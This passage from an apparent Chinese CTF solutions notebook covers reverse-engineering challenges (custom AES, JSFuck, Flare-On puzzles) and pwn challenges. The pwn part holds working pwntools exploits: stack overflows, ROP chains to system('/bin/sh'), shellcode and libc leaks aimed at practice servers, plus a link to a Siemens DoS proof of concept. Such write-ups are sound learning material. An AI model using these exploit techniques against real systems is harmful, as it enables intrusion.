param_1[9]) + param_1[10] + param_1[0xb]) -
param_1[0xc]) + param_1[0xd]) - param_1[0xe]) -
param_1[0xf]) - param_1[0x10]) - param_1[0x11]) -
param_1[0x12]) - param_1[0x13]) + param_1[0x14]) -
param_1[0x15]) + param_1[0x16]) - param_1[0x17]) -
param_1[0x18]) + param_1[0x19] + param_1[0x1a] +
param_1[0x1b] + param_1[0x1c]) - param_1[0x1d]) -
param_1[0x1e]) - param_1[0x1f]) - param_1[0x20]) -
param_1[0x21]) - param_1[0x22]) - param_1[0x23]) -
param_1[0x24]) - param_1[0x25]) - param_1[0x26]) - param_1[0x27])
- param_1[0x28]) + param_1[0x29])
res = []
if s.check()==sat:
m = s.model()
print(m)
for i in param_1:
res.append(m[i].as_long())
for i in range(len(res)):
res[i]^=i
res[i] = (res[i]>>3)|(res[i]<<5)
res[i]&=0xff
print(res)
print(bytes(res))

[rev] [watevrCTF 2019]Fuckn’t

github有jsunfuck

https://github.com/krk/jsunfuck

1
2
3
[]["f"+([!1]+[][[[].filter["constructor"]("return(isNaN+false).constructor."+420302320151902["toString"]("31")["split"](3)["join"]("C")+"de("+"119false97false116false101false118false114false123false106false97false118false97false115false99false114false105false112false116false95false105false115false95false97false95false49false97false110false103false117false97false103false51false95false102false48false114false95false105false110false116false51false49false49false51false99false116false117false97false49false115false125"["split"](!1)+
")")()]])["10"]+"lter"]["constructor"]("return alert")()([].filter["constructor"]("return(isNaN+false).constructor."+420302320151902["toString"]("31")["split"](3)["join"]("C")+"de("+"73false39false109false32false115false111false114false114false121false32false68false97false118false101false44false32false73false39false109false32false97false102false114false97false105false100false32false73false32false99false97false110false39false116false32false100false111false32false116false104false97false116"["split"](!1)+
")")());

[rev]GAesDecode

变化版AES,主要不同在于密钥无需扩展,直接是长密钥;另外MixColumns时乘的多项式也变了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301

import java.lang.reflect.Array;

public class LightState {
protected byte[][] _states = ((byte[][]) Array.newInstance(Byte.TYPE, 4, 4));
int cnt = 0;

public LightState(byte[] states) {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
this._states[j][i] = states[(i * 4) + j];
}
}
}

public LightState() {
}

public byte value(int i, int j) {
return this._states[i][j];
}

public void setValue(int i, int j, int val) {
this._states[i][j] = (byte) val;
}

public void printState() {
System.out.printf("%d==================================\n", cnt);
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
System.out.printf("0x%02x,", this._states[i][j]);
}
System.out.println();
}
System.out.println("=================================");
cnt++;
}

public void reValue(byte[] states) {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
states[(i * 4 + j)] = this._states[j][i];
}
}
}

public void shiftRows() {
for (int i = 0; i < 4; i++) {
byte[] temp = new byte[4];
for (int j = 0; j < 4; j++) {
temp[j] = this._states[i][j];
}
for (int j2 = 0; j2 < 4; j2++) {
this._states[i][j2] = temp[(j2 + i) % 4];
}

}
}

public void reShiftRows() {
for (int i = 0; i < 4; i++) {
byte[] temp = new byte[4];
for (int j = 0; j < 4; j++) {
temp[(j + i) % 4] = this._states[i][j];
}
for (int j = 0; j < 4; j++) {
this._states[i][j] = temp[j];
}
}
}

public void addRoundKey(byte[] key) {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
byte[] bArr = this._states[i];
bArr[j] = (byte) (bArr[j] ^ key[(j * 4) + i]);
}
}
}

public static byte add(byte a, byte b) {
return (byte) (a ^ b);
}

public static byte add(byte a, byte b, byte c, byte d) {
return (byte) (((a ^ b) ^ c) ^ d);
}

public static byte multiply2(byte a) {
if (a >= 0) {
return (byte) (a << 1);
}
return (byte) ((a << 1) ^ 29);
}

public static byte multiply3(byte a) {
return add(a, multiply2(a));
}

public void mixCloumns() {
for (int i = 0; i < 4; i++) {
byte[] temp = new byte[4];
for (int j = 0; j < 4; j++) {
temp[j] = this._states[j][i];
}
this._states[0][i] = add(multiply2(temp[0]), multiply3(temp[1]), temp[2], temp[3]);
this._states[1][i] = add(temp[0], multiply2(temp[1]), multiply3(temp[2]), temp[3]);
this._states[2][i] = add(temp[0], temp[1], multiply2(temp[2]), multiply3(temp[3]));
this._states[3][i] = add(multiply3(temp[0]), temp[1], temp[2], multiply2(temp[3]));
}
}

public static byte multiplyE(byte a) {
return (byte) (multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a)
^ multiply2(a));
}

public static byte multiplyB(byte a) {
return (byte) (multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply3(a));
}

public static byte multiplyD(byte a) {
return (byte) (multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply3(a));
}

public static byte multiply9(byte a) {
return (byte) (multiply2(a) ^ multiply2(a) ^ multiply2(a) ^ multiply3(a));
}

byte GFMul(int a, byte b) {
byte p = 0;
byte hi_bit_set;
for (int counter = 0; counter < 8; counter++) {
if ((b & 1) != 0) {
p ^= a;
}
hi_bit_set = (byte) (a & 0x80);
a <<= 1;
if (hi_bit_set != 0) {
a ^= 29; /* x^8 + x^4 + x^3 + x + 1 */
}
b >>= 1;
}
return p;
}

public void reMixCloumns() {
byte arr[] = new byte[4];
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j)
arr[j] = this._states[j][i];
this._states[0][i] =(byte) (GFMul(0x0e, arr[0]) ^ GFMul(0x0b, arr[1]) ^ GFMul(0x0d, arr[2]) ^ GFMul(0x09, arr[3]));
this._states[1][i] =(byte) (GFMul(0x09, arr[0]) ^ GFMul(0x0e, arr[1]) ^ GFMul(0x0b, arr[2]) ^ GFMul(0x0d, arr[3]));
this._states[2][i] =(byte) (GFMul(0x0d, arr[0]) ^ GFMul(0x09, arr[1]) ^ GFMul(0x0e, arr[2]) ^ GFMul(0x0b, arr[3]));
this._states[3][i] =(byte) (GFMul(0x0b, arr[0]) ^ GFMul(0x0d, arr[1]) ^ GFMul(0x09, arr[2]) ^ GFMul(0x0e, arr[3]));
}
}

public static byte inverseSbox(byte a) {
return (byte) new int[] { 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57,
130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238,
76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37,
114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237,
185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184,
179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79,
103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249,
55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252,
86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49,
177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156,
239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119,
214, 38, 225, 105, 20, 99, 85, 33, 12, 125 }[(a + 256) % 256];
}

public static byte multiply(int a, int b) {
if (a < 0) {
a += 256;
}
if (b < 0) {
b += 256;
}
int[] avalues = new int[8];
int[] bvalues = new int[8];
for (int i = 0; i < 8; i++) {
avalues[i] = a % 2;
a /= 2;
}
for (int i2 = 0; i2 < 8; i2++) {
bvalues[i2] = b % 2;
b /= 2;
}
int[] results = new int[16];
for (int j = 7; j >= 0; j--) {
if (bvalues[j] > 0) {
for (int i3 = 0; i3 < 8; i3++) {
if (avalues[i3] > 0) {
results[i3 + j] = (results[i3 + j] + 1) % 2;
}
}
}
}
if (results[15] > 0) {
results[5] = (results[5] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[2] = (results[2] + 1) % 2;
results[1] = (results[1] + 1) % 2;
results[0] = (results[0] + 1) % 2;
}
if (results[14] > 0) {
results[7] = (results[7] + 1) % 2;
results[4] = (results[4] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[1] = (results[1] + 1) % 2;
}
if (results[13] > 0) {
results[6] = (results[6] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[2] = (results[2] + 1) % 2;
results[0] = (results[0] + 1) % 2;
}
if (results[12] > 0) {
results[7] = (results[7] + 1) % 2;
results[5] = (results[5] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[1] = (results[1] + 1) % 2;
results[0] = (results[0] + 1) % 2;
}
if (results[11] > 0) {
results[7] = (results[7] + 1) % 2;
results[6] = (results[6] + 1) % 2;
results[4] = (results[4] + 1) % 2;
results[3] = (results[3] + 1) % 2;
}
if (results[10] > 0) {
results[6] = (results[6] + 1) % 2;
results[5] = (results[5] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[2] = (results[2] + 1) % 2;
}
if (results[9] > 0) {
results[5] = (results[5] + 1) % 2;
results[4] = (results[4] + 1) % 2;
results[2] = (results[2] + 1) % 2;
results[1] = (results[1] + 1) % 2;
}
if (results[8] > 0) {
results[4] = (results[4] + 1) % 2;
results[3] = (results[3] + 1) % 2;
results[1] = (results[1] + 1) % 2;
results[0] = (results[0] + 1) % 2;
}
return (byte) ((results[7] * 128) + (results[6] * 64) + (results[5] * 32) + (results[4] * 16) + (results[3] * 8)
+ (results[2] * 4) + (results[1] * 2) + results[0]);
}

public static byte inverse(byte a) {
byte result = 1;
for (int i = 0; i < 254; i++) {
result = multiply(result, a);
}
return result;
}

public static byte sbox(byte a) {
int inverse = inverse(a);
if (inverse < 0) {
inverse += 256;
}
int[] c = new int[8];
for (int i = 0; i < 8; i++) {
c[i] = inverse % 2;
inverse /= 2;
}
int[] s = new int[8];
s[7] = ((((c[7] + c[6]) + c[5]) + c[4]) + c[3]) % 2;
s[6] = (((((c[6] + c[5]) + c[4]) + c[3]) + c[2]) + 1) % 2;
s[5] = (((((c[5] + c[4]) + c[3]) + c[2]) + c[1]) + 1) % 2;
s[4] = ((((c[4] + c[3]) + c[2]) + c[1]) + c[0]) % 2;
s[3] = ((((c[7] + c[3]) + c[2]) + c[1]) + c[0]) % 2;
s[2] = ((((c[7] + c[6]) + c[2]) + c[1]) + c[0]) % 2;
s[1] = (((((c[7] + c[6]) + c[5]) + c[1]) + c[0]) + 1) % 2;
s[0] = (((((c[7] + c[6]) + c[5]) + c[4]) + c[0]) + 1) % 2;
return (byte) ((s[7] * 128) + (s[6] * 64) + (s[5] * 32) + (s[4] * 16) + (s[3] * 8) + (s[2] * 4) + (s[1] * 2)
+ s[0]);
}

public void substitute() {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
this._states[i][j] = sbox(this._states[i][j]);
}
}
}

public void reSubstitute() {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
this._states[i][j] = inverseSbox(this._states[i][j]);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


import java.util.Scanner;

public class MainActivity {

public static String encrypt(byte[] inputBytes, String paramString2){
byte keyBytes[] = null;
try {
keyBytes = paramString2.getBytes("UTF-8");
} catch (Exception e) {
e.printStackTrace();
}
byte[] resBytes = new byte[(inputBytes.length + 15) / 16 * 16];
for (int i = 0; i < inputBytes.length; i += 16) {
byte[] tmpBytes = new byte[16];
int j;
for (j = 0; j < 16 && i + j < inputBytes.length; j++)
tmpBytes[j] = inputBytes[i + j];
LightState lightState = new LightState(tmpBytes);
for (j = 0; j <= 10; j++) {
byte[] roundKey = new byte[16];
int k;
for (k = 0; k < 16; k++)
roundKey[k] = keyBytes[j * 16 + k];
if (j == 0) {
lightState.addRoundKey(roundKey);
} else if (j < 10) {
lightState.substitute();
lightState.shiftRows();
lightState.mixCloumns();
lightState.addRoundKey(roundKey);
} else {
lightState.substitute();
lightState.shiftRows();
lightState.addRoundKey(roundKey);
}
}
for (j = 0; j < 4; j++) {
int k;
for (k = 0; k < 4; k++)
resBytes[j * 4 + i + k] = lightState.value(j, k);
}
}
// return Base64.encodeToString(resBytes, 2);
return null;
}

static String decrypt(byte[] b, String key){
byte[] keyBytes=null;
try {
keyBytes=key.getBytes("UTF-8");
} catch (Exception e) {
e.printStackTrace();
}
byte[] stateByte = new byte[16];
byte[] plain = new byte[(b.length+5)/16*16];
for (int i = 0; i < b.length; i += 16) {
// 10
LightState ls = new LightState();
for(int j=0;j<4;j++){
for(int k=0;k<4;k++){
ls.setValue(j, k,b[i+j*4+k]);
}
}
for (int j = 10; j >= 0; j--) {
byte roundKey[] = new byte[16];
for (int k = 0; k < 16; k++)
roundKey[k] = keyBytes[j * 16 + k];
if (j == 0) {
ls.addRoundKey(roundKey);
} else if (j < 10) {
ls.addRoundKey(roundKey);
ls.reMixCloumns();
ls.reShiftRows();
ls.reSubstitute();
} else {
ls.addRoundKey(roundKey);
ls.reShiftRows();
ls.reSubstitute();
}
}
ls.reValue(stateByte);
for(int j=0;j<16;j++){
plain[i+j]=stateByte[j];
}
}
System.out.print("len:"+plain.length+"\t");
for(int i=0;i<plain.length;i++){
System.out.printf("0x%x,",((int)plain[i]&0xff));
}
System.out.println();
return new String(plain);
}

public static void main(String[] args){
Scanner in = new Scanner(System.in);
// String str = in.next();
// System.out.println(encrypt(str,
// "This is a AES-like encryption algorithm. However, we do some change.
// Therefore, you cannot directly use security class to decrypt the message. Our
// challenge is to find the plain text of this encrypt message with th fixed
// key. ")
// .equals("kNk3Qz+l/kLpGuKxf5iGE9cOoTmmn9Ac+UdF4b2CHqU="));
System.out.println(decrypt(
new byte[] { (byte) 144, (byte) 217, (byte) 55, (byte) 67, (byte) 63, (byte) 165, (byte) 254, (byte) 66,
(byte) 233, (byte) 26, (byte) 226, (byte) 177, (byte) 127, (byte) 152, (byte) 134, (byte) 19,
(byte) 215, (byte) 14, (byte) 161, (byte) 57, (byte) 166, (byte) 159, (byte) 208, (byte) 28,
(byte) 249, (byte) 71, (byte) 69, (byte) 225, (byte) 189, (byte) 130, (byte) 30, (byte) 165 },
"This is a AES-like encryption algorithm. However, we do some change. Therefore, you cannot directly use security class to decrypt the message. Our challenge is to find the plain text of this encrypt message with th fixed key. "));

}
}

参考:https://www.jb51.net/article/98437.htm

[rev][flareOn2]Android

质因数分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# encoding:utf-8
import hashlib
import base64
import marshal
import dis

lines = None
with open('addr.txt','r') as f:
lines = f.readlines()


toArr = lambda x:[int(i,base=10) for i in x.replace(' ','',-1).replace('[','',-1).replace(']','',-1).split(',',-1)]
divs = toArr(lines[0])
flag = ''
for i in range(23):
val = 1
larr = toArr(lines[i+1])
for j in range(len(larr)//2):
for k in range(larr[j*2]):
if val*divs[j]<=0x7e7e:
val*=divs[j]
flag+=chr((val>>8))
flag+=chr(val&0xff)
print(i,hex(val),flag)
print(flag)

[rev][FlareOn4]zsud

参考 https://www.cnblogs.com/harmonica11/p/13162759.html

https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge7.pdf

首先是个超深度调用403690,直接写脚本跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
addr = 0x403690
r = get_bytes(addr,5)
p=True
while r[0]==0xE9:
dif = r[1]|(r[2]<<8)|(r[3]<<16)|(r[4]<<24)
if dif>=0x80000000:
dif-=0x100000000
addr+=dif+5
if p:
print(hex(addr))
p=False
r = get_bytes(addr,5)
print(hex(addr))

得到了4027e0,可以使用IDA的书签功能(Alt+M,Ctrl+M)

往后面走,找到一个API函数CorBindToRuntimeEx,是关于.net的函数

有两种混淆,第一种就是深度jump,第二种是加密字符串和函数。开头一个startThread就是填各种函数。执行过程中有动态解密字符串

程序中使用了不存在的访问路径,所以应该确定是不是hook了相关函数

然后使用CE搜索内存中的This字符串,找到那个要执行的dll(This program cannot…),dump出来,拖进dnspy(直接IDA列出字符串也可以,我大意了)

IDA的字符串也可以(clr.pdb)显示出通过.net运行

发现解密并执行了一段powershell脚本(参数),这时想起调用CorBindToRuntimeEx时的最后一个参数正是一个base64串,溯源找到原来的字符串,我tm直接解密

得到了一个很大的powershell脚本()

可以通过不断地走路得到整个游戏的地图

[rev][FlareOn2]gdssagh

打开运行,没什么东西

但是发现long jmp下面有个base64串,我tm直接解码,之后是PNG文件头,打开是个图片,没东西

找找图片隐写工具zsteg,发现有种类型是有PE文件的

1
zsteg -v -E b1,rgb,msb,xy ./addr.png b1,rgb,msb,xy > 1.exe

提取出来后直接strings

[rev][FlareOn4]notepad

前面各种校验,然后会读取用户文件夹下flareon2016challenge下的文件,这里其实提示应该去找flareon2016的比赛文件,按照感染顺序打开文件,每个文件会分别写入key的8个字节,然后就得到结果了

[ctfhub][rev]西门子dos攻击事件

https://zhuanlan.zhihu.com/p/27428923

https://www.cnpanda.net/ctf/415.html

https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/Siemens_SIPROTEC_DoS.py 这里有payload

flag就是payload的十六进制值

[ctfhub][rev]简单的apk分析

Flag{ft-dt-src-2019-8}

解包得到multiprotocol.tesla.scada,然后反编译,使用jadx的返混淆功能,RunnableC0000F中可以找到flag

[rev][D3CTF 2019]SIMD

https://fa1conn.github.io/2019/11/14/d3ctf_SIMD_writeup/

题目源码
https://github.com/fa1conn/D3CTF-2019-Rev-SIMD-Source-Code/tree/master/source

SM4的快速实现
http://html.rhhz.net/ZGKXYDXXB/20180205.htm

查指令
https://www.felixcloutier.com/x86/index.html

// TODO

[rev][RCTF2019]asm

使用ghidra打开,可以找到程序主逻辑

根据flag格式RCTF{}才可以解出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
// #include "defs.h"
// #include <setimp.h>
typedef uint32_t uint;
typedef int8_t byte;
int key[8];
void printArray(const char *name,uint8_t *v,size_t len)
{
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("0x%02X,",v[i]);
}
printf("\n=================\n");
}
uint res[] = {0x11,0x76,0xD0,0x1E,0x99,0xB6,0x2C,0x91,0x12,0x45,0xFB,0x2A,0x97,0xC6,0x63,0xB8,0x14,0x7C,0xE1,0x1E,0x83,0xE6,0x45,0xA0,0x19,0x63,0xDD,0x32,0xA4,0xDF,0x71,0x0};


void decrypt(){
size_t cnt=0;
uint8_t flag[33]={0};
flag[0] = 'R';
for(cnt=1;cnt<32;cnt++){
flag[cnt]=(cnt-1)*0x61^(res[cnt-1]^flag[cnt-1]);
}
printf("%s\n",flag);
}
int main()
{
decrypt();
return 0;
}

[rev][watevrCTF 2019]Hacking For Vodka

使用了ptrace反调试

有两个几乎一模一样的函数,如果两次调用ptrace,则第二次会返回-1,这样程序就知道被调试了

直接patch掉jns,后面patch掉je,都改为jmp即可,然后可以用gdb脚本也可以按位调试

[rev][BSidesSF2020]config-me

Rust程序

ctftime wp

other wp

source

直接改动config-me.conf内的name域为flag即可

Salsa20

[rev][b01lers2020]stahp

脑洞题

https://github.com/b01lers/b01lers-ctf-2020/blob/master/rev/200_stahp_the_train/writeup.md

welcome函数有个反调试,直接patch

然后输入HELP会输出部分flag和key,这是sub2356,下面还有个sub_25f2,由第二个参数控制没输出,直接patch输出就行了

另外第一个部分flag还少输出一个数字= =

然后是flag和key异或,应该是根据flag格式判断的吧

1
2
3
4
5
6
7
8
import hashlib
import base64
import sys

flag=[17,8,28,4,58,50,101,51,122,56,50,114,37,127,34,59,56,111,50,52,49,42,126,101,100,108,50,58,113,62,121,38,108,35,97,108,41,110,63]
key=[i for i in b'AKHBAAR']
f=[flag[i]^key[i%len(key)] for i in range(len(flag))]
print(bytes(f))

[GKCTF 2021]Crash

一开始没什么头绪,就看wp了

查看导出表和字符串表,有cgo相关字样,搜索了之后发现是个go程序

我tm直接idagolanghelper,注意IDA7.0

[pwn]not_the_same_3dsctf_2016

先使用get_secret读取flag,再调用write打印flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# context.arch="i386"

# p=process("/home/tom/Downloads/not_the_same_3dsctf_2016")
p=remote("node4.buuoj.cn",25281)
elf=ELF("/home/tom/Downloads/not_the_same_3dsctf_2016")
target_addr=0x080489a0
flag_addr=0x080eca2d
write_addr=elf.sym['write']
print(hex(write_addr))

exp=b'a'*0x2d+p32(target_addr)+p32(write_addr)+p32(flag_addr)+p32(1)+p32(flag_addr)+p32(45)
print(exp)
p.sendline(exp)
p.interactive()

[pwn]jarvisoj_level2

checksec里面发现只有NX保护

vulnerable_function里面存在一个漏洞

思路:先把字符串读入bss段,然后调用system函数并传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# p=process('./level2')
p=remote('node4.buuoj.cn',25400)
elf=ELF('./level2')

system_addr=elf.symbols['system']
read_addr=elf.symbols['read']
cmd_addr=0x804a02d
ppp_addr=0x8048519

payload=b'a'*0x88+b'a'*4+p32(read_addr)+p32(ppp_addr)+p32(0)+p32(cmd_addr)+p32(20)+p32(system_addr)+p32(0)+p32(cmd_addr)

p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

可恶,栈上已有字符串了,所以不用自己输入也可以

[pwn]jarvisoj_level2_x64

64位版本,主要是传参规则不同

64位系统下std_call,参数主要使用rdi,rsi,rdx,rcx,r8,r9传递,剩下的入栈

但是可以使用pop rdi之类的构造ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# p=process('./level2_x64')
p=remote('node4.buuoj.cn',26150)
elf=ELF('./level2_x64')

system_addr=elf.symbols['system']
cmd_addr=0x600a90
prdi_addr=0x4006b3

payload=b'a'*0x80+b'a'*8+p64(prdi_addr)+p64(cmd_addr)+p64(system_addr)+p32(0)

p.sendline(payload)
p.interactive()

[pwn]babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

# p=process('./babyrop')
p=remote('node4.buuoj.cn',26259)
elf=ELF('./babyrop')

system_addr=elf.symbols['system']
cmd_addr=0x601048
prdi_addr=0x400683

payload=b'a'*0x10+b'a'*8+p64(prdi_addr)+p64(cmd_addr)+p64(system_addr)+p32(0)
print(payload)

p.sendline(payload)
p.interactive()

[pwn]ciscn_2019_n_5

最简单的shellcode题,name中写入shellcode,第二个利用栈溢出跳转到name获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.arch='amd64'
# p=process('./ciscn_5')
p=remote('node4.buuoj.cn',29516)

name_addr=0x601080

sc=shellcraft.amd64.linux.sh()
sc=asm(sc)
print(sc,len(sc))
p.sendline(sc)
p.recv()
payload=b'a'*0x20+b'a'*8+p64(name_addr)
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

[pwn]ciscn_2019_ne_5

先输入密码administrator

思路:将puts地址替换为system地址,然后输入/bin/sh。但是puts地址时0x0804a020,scanf没法读入

看了wp,发现可以在程序中寻找’sh’相关字符串,命令为

1
ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# context.arch='amd64'
# p=process('./ciscn_e5')
p=remote('node4.buuoj.cn',29248)
elf=ELF('./ciscn_e5')
print(hex(next(elf.search(b'sh')))) # 也可以这样搜索字符串

passwd=b'administrator'
p.sendline(passwd)
sys_addr=0x80484d0
main_addr=elf.sym['main']
sh_addr=0x80482ea
p.sendline(b'1')

payload=b'a'*0x48+b'a'*4+p32(sys_addr)+p32(main_addr)+p32(sh_addr)
print(len(payload),b' ' in payload,payload)
p.sendline(payload)
p.sendline(b'4')

p.interactive()

[pwn]2018_rop

思路:write获取libc基址,然后rop到system(‘/bin/sh’)。但是需要通过libcsearcher确定libc版本

https://blog.csdn.net/mcmuyanga/article/details/108939218

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import LibcSearcher

context.arch='i386'
# p=process('./2018_rop')
p=remote('node4.buuoj.cn',27577)
elf=ELF('./2018_rop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

vuln_addr=elf.sym['vulnerable_function']
write_addr=elf.sym['write']
pppr_addr=0x804855d
write_got=elf.got['write']
payload=b'a'*0x88+b'a'*4+p32(write_addr)+p32(pppr_addr)+p32(1)+p32(write_got)+p32(4)+p32(vuln_addr)
p.sendline(payload)
write=u32(p.recv())
libc=LibcSearcher.LibcSearcher('write',write)
libc_base=write-libc.dump('write')
print(hex(libc_base))
# print(p.recv())
binsh=libc.dump('str_bin_sh')+libc_base
sys_addr=libc.dump('system')+libc_base
payload=b'a'*0x88+b'a'*4+p32(sys_addr)+p32(0)+p32(binsh)
payload+=b'a'*(0x100-len(payload))
p.sendline(payload)
p.sendline('cat flag')
p.interactive()

libc搜索到的选1= =

[pwn]bjdctf_2020_babyrop

使用puts泄露libc地址,然后跳转到system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import LibcSearcher

# p=process('./babyrop')
p=remote('node4.buuoj.cn',26293)
elf=ELF('./babyrop')

puts_addr=elf.sym['puts']
puts_got=elf.got['puts']
vuln_addr=elf.sym['vuln']
pr_addr=0x400733
p.recv()
payload=b'a'*0x20+b'a'*8+p64(pr_addr)+p64(puts_got)+p64(puts_addr)+p64(vuln_addr)
p.sendline(payload)
r=p.recvuntil(b'\nPull')[:-5]
p.recv()
print(len(r))
puts=r+b'\x00'*(8-len(r))
puts=u64(puts)
libc=LibcSearcher.LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
sys_addr=libc.dump('system')+libc_base
binsh=libc.dump('str_bin_sh')+libc_base
payload=b'a'*0x28+p64(pr_addr)+p64(binsh)+p64(sys_addr)+p64(0)
payload+=b'a'*(0x64-len(payload))
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

[pwn]babyheap_0ctf_2017

how2heap中看懂了,但是实战还是没思路

参考 https://www.cnblogs.com/luoleqi/p/12349714.html https://www.cnblogs.com/jazm/p/11184380.html

思路:先用unsorted bin attack leak堆地址,再用fast bin attack hook malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *
import LibcSearcher

p=process('./babyheap_0ctf_2017')
# p=remote('node4.buuoj.cn',26293)
# elf=ELF('./babyrop')

def allocate(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
# return the allocated index
return int(p.recv()[-2],base=10)
def fill(index,content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(len(content)))
p.recvuntil('Content:')
p.sendline(content)
def free(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(index)
p.recvuntil('Content: ')
return p.recv()

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

